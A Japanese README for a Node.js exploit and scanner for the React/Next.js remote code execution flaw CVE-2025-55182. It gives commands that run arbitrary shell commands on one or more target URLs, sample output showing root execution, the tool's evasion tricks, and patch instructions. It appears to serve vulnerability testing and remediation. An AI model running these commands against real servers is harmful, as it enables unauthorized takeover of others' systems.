
React Server Components「React2Shell」脆弱性(CVE-2025-55182)向けのNodeJSベースのエクスプロイトスクリプト兼スキャナー。
教育およびセキュリティ研究目的に限ります。
このツールは、セキュリティ専門家や管理者が自身のシステムの脆弱性を検証できるように設計されています。作者は、本コードを使用して行われたいかなる誤用、損害、または違法行為についても責任を負いません。
CVE-2025-55182 は、Next.js (App Router) および React 19 で使用される中核パッケージ react-server-dom-webpack におけるリモートコード実行の脆弱性です。
この脆弱性により、認証されていない攻撃者が React Server Actions に悪意のあるペイロードを注入できます。逆シリアル化プロセスを操作することで、攻撃者は JavaScript の Function コンストラクタにアクセスし、サーバー上で任意のシステムコマンドを実行できます。
影響を受けるバージョン:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x、14.x (pre-14.2.35)、15.x (pre-15.5.9)この更新されたスクリプトは、より信頼性を高めるために高度な悪用手法を使用しています:
Next-Action ID の必要性を回避します。手動による偵察なしに、脆弱な Next.js インスタンスに対して動作します。Location ヘッダーに紛れ込ませます。これにより 500 エラーを回避し、クリーンな出力を提供します。リポジトリをクローン:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
ディレクトリに移動:
cd React-Security-CVE-2025-55182-Exploit
Node.js のバージョンを確認: Node.js がインストールされていることを確認してください (v18 以上を推奨)。
node -v
(注: このスクリプトは標準の Node.js ライブラリを使用するため、npm install は不要です。)
スクリプト react2shell.js は、単一または複数のターゲットをスキャンしているかどうかを自動的に検出します。
デフォルトで実行されるコマンドは id です。
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
特定のコマンドを実行するには、それを最後の引数として指定します。
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ VULNERABLE (脆弱性あり): ツールがコマンドを正常に実行し、リダイレクトヘッダーを介して出力を紛れ込ませることに成功しました。
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SAFE (安全): サーバーがペイロードを拒否したか、パッチが適用されています。
🛡️ SAFE (http://google.com) | Status: 405
❌ CONNECT ERROR (接続エラー): スクリプトがサーバーに到達できませんでした。
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
アプリケーションに脆弱性がある場合は、直ちに依存関係をアップグレードしてください。
Next.js の場合:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
その他のフレームワーク (Waku、Remix など) の場合:
react-server-dom-webpack が v19.2.1 以上にアップグレードされていることを確認してください。
MIT ライセンスの下で配布されています。詳細については LICENSE を参照してください。